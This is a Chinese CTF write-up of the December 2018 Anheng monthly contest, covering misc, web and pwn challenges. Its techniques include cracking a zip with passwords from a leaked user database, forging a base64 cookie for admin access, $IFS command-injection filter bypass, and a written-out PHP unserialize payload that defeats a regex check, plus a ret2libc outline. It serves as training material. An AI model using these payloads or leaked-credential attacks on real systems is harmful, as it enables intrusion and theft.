安恒月赛writeup 2018年12月

目录

misc1

misc2(签到)

misc3 (学习资料)

misc4(JUJU)

web1

web2

pwn1


misc和web,和一道pwn

misc1

看提示想到去下当时泄露的库

安恒月赛writeup 2018年12月_第1张图片

然后写脚本处理一下把数据库的内容,生成三个由用户名,密码,邮箱组成的字典,使用密码组成的字典爆开了压缩包

安恒月赛writeup 2018年12月_第2张图片

解压后得到个动图,记录上面的数字得到23685528276158852365572716835687172857481317

剩下的。。。。

misc2(签到)

misc3 (学习资料)

这道题下载之后,解压后发现有一个加密过的压缩包,和一个txt。想到有明文攻击

将txt压缩成zip文件(注意压缩工具,最好选择winrar,不同的压缩工具压缩算法会有差别)

利用工具ARCHPR4.53进行明文攻击,破解压缩包密码(关于工具版本问题,队友的工具版本不同,破解不成功

这个版本是师傅推荐的比较靠谱的版本)

安恒月赛writeup 2018年12月_第3张图片

破解成功

安恒月赛writeup 2018年12月_第4张图片

解压之后的到一个word文档,打开发现没有什么东西(队友的打开就有flag,只是不能复制,原因成迷)

将word文档后缀改为zip解压后得到一堆东西,在/word/document.xml里面发现flag

安恒月赛writeup 2018年12月_第5张图片

{edaa144c91a4e5b817e4a18cbdb78879}
 

misc4(JUJU)

下载之后是一张png图片,很容易就想到修改宽高(更多姿势)

  • 安恒月赛writeup 2018年12月_第6张图片

winhex打开之后

我们把高修改为和宽一样的值

保存之后,就会发现图片显示的东西比原来多了

安恒月赛writeup 2018年12月_第7张图片

将图片下方的编码 进行base32解码,得到flag{a213072327f762855e475779eb081ca3}

web1

御剑扫了之后发现有之后发现有admin.php和DS_Store文件,利用DS_Store文件泄露工具(ds_store_exp),把文件下载到本地

安恒月赛writeup 2018年12月_第8张图片

直接访问admin.php发现有提示信息,不是admin访问不了

访问主页,抓包发现cookie里面有一个user字段,解base64发现是user

尝试把user字段的值,改为base64加密的amdin,发现有302 跳转至admin.php,继续修改cookie值,访问到了后台

安恒月赛writeup 2018年12月_第9张图片

结合之前通过DS_Store泄露出的文件admin.html里面有这样的提示

安恒月赛writeup 2018年12月_第10张图片

知道应该是命令执行,抓包后发现如果输入命令有空格,会返回错误提醒,百度之后发现$IFS可以一定情况下代替空格的作用,用作分隔

安恒月赛writeup 2018年12月_第11张图片

找到flag

web2

打开题目之后看见这样的代码

 file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?> 

发现他自己定义了一个baby类,里面调用了file_get_content函数,我们可以通过给data,实例化这个类从而执行file_get_content这个函数

利用脚本构造payload

 file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
$data=new baby();
$data->file = "flag.php";
echo serialize($data);

?> 

然后preg_match('/[oc]:\d+:/i',$data,$matches);

匹配data中是否有(o或c:数字:(不区分大小写))这样条件的内容,有的话返回hacker,百度之后加号可以绕过

 

O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

但是如果get这段数值,加号会被替换成空格,导致反序列化失败,所以把+进行url编码,之后再赋值

O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

拿到flag   ad2328a2c3f0933c053fd3c6f28f6143

pwn1

messageb0x

安恒月赛writeup 2018年12月_第12张图片

 

安恒月赛writeup 2018年12月_第13张图片

 

洞在此处,还有一点:

安恒月赛writeup 2018年12月_第14张图片

 

函数的汇编是这样的,我不确定ida里给的偏移是否正确,在peda中好探测

gdb调试:

安恒月赛writeup 2018年12月_第15张图片

 

安恒月赛writeup 2018年12月_第16张图片

 

b *0x080492e2

r:

安恒月赛writeup 2018年12月_第17张图片

 

安恒月赛writeup 2018年12月_第18张图片

 

92:

安恒月赛writeup 2018年12月_第19张图片

 

思路:

没有在程序中发现system函数,也没有/bin/sh 

1.没有system,选择用int80来做:

 ROPgadget --binary messageb0x | grep "int 0x80":

没有找到:

/bin/sh:

也木有

换思路:

1.泄露puts函数地址

2.获取libc版本号

3.获取/bin/sh地址

4.payload:

安恒月赛writeup 2018年12月_第20张图片

这里个人感觉有些小坑,刚开始ret用的main的,但是打exp卡住,后来看函数汇编:

安恒月赛writeup 2018年12月_第21张图片

不是leave;ret的,构造的main rop打不了,后来换了process_info,绕过了main的 ret,打成功了,记得要常看代码的汇编。。。。

pwn还没有自己复现,wp来自队友 , 有时间再自己复现,到时候再补

 

你可能感兴趣的:(pwn,训练)